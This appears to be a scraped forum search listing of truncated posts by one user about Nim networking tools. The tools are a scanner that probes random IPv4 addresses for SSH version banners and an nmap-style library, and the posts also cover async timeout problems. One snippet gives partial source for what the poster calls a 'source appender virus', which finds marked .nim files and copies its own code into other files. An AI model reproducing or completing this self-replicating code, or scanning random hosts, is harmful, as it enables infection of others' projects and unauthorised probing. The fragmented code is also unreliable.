[https://github.com/blmvxerHax/randip/blob/master/snap/src/tools/randip_import.nim](https://github.com/blmvxerHax/randip/blob/master/snap/src/tools/randip_import.nim)
This was my solution when I ran into the same problem, A "header" of sorts
I appreciate all the methods but I'm still not really achieving what I had
hoped. I'm really trying to make a similar tool masscan but in Nim
Here's my first attempt in a Synchronous form
[https://github.com/blmvxerHax/randip](https://github.com/blmvxerHax/randip)
Issue I'm seeming to have is timeout never occurs upon false connections. the
main point is to grab the ssh version.
import asyncnet, asyncdispatch, strutils, random
var
serVer: string
port = "22"
output = ""
proc genAddr(): string =
randomi
Appreciate your response, I'll try to implement this and see if I can get a
working sample to show.
I've attempted several approaches with this including trying to mix threads and
async.
what would be the best way to say send connect three sockets and read from each
of the asynchronously?
import threadpool, asyncnet, nativesockets, random, strutils, asyncdispatch
from os import sleep
var
sshVer = "" sock = newAsyncSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
proc genAddr(): string =
randomize()
var
ip0 = rand(1..255) ip1 = rand(255) ip2 = rand(255) ip3 = rand(255)
retur
Thank you, that works perfectly
var
a = execProcess(cmd) b = "some string"
echo join(a, ": ", b)
and the result is
a
: b
It's a source appender virus.
I like the idea of only walking through once, the one thing I like not using is
lists and variable
'''nim
#marker import os, streams, re, strutils
for file in walkFiles (getCurrentDir() & "/ _.nim "): if getFileSize(file) ==
427: if format(readFile(file)).contains("#marker"): let ourCode =
format(readFile(file)) for host in walkFiles (getCurrentDir() & "/_.nim"):
if not format(readF
I know this is old, but initializing all seq[] with a dummy variable then
wiping them before their intended use seems to work for me.
Why not use Proot and just compile Nim directly on aarch64? That's what I've
done on my Stock LG V20
I've been using UserLand and Arch Linux on my phone, No root required since it
uses Proot, just download the latest source and build
It works fine on x86_64, armv7l and even haiku64. it's just aarch64 that's weird
Just recently I found weird results when testing my RandIP on Aarch64 compared
to Armv7l or even x86_64.
Every connection even if false comes out as true on aarch64 compared to any
other Arch
nim '''
proc main(): string {.discardable.} =
randomize()
var
ip0 = rand(1..255) ip1 = rand(2
Here's the full project also
[https://github.com/blmvxer/randip](https://github.com/blmvxer/randip)
Just using standard, here i'll send what I have
'''nim import httpclient, fab, strutils, randip_err
#Compiler options {.deadCodeElim: on, hints: off, warnings: off.}
proc getPage*(host: string): string {. discardable .} =
var
client = newHttpClient(maxRedirects = 5, timeout = 2000) url
It seems to be the issue is between if the server is http or https
Is there any reason that getContent should hang indefinitely even if httpclient
has been given a set timeout?
So couple years ago I wanted to make a native implementation with nim and kinda
came to a wall with life and the project it's self.
[https://github.com/blmvxer/nim-nmap](https://github.com/blmvxer/nim-nmap)
I began this project with an idea of making a simple wrapper and as that
project progressed I got the urge to take it to the next level by writing a
Pure Nim API that would mimic most of the best parts of nmap.
[https://github.com/blmvxer/nim-nmap](https://github.com/blmvxer/nim-nmap)
23 matches
Mail list logo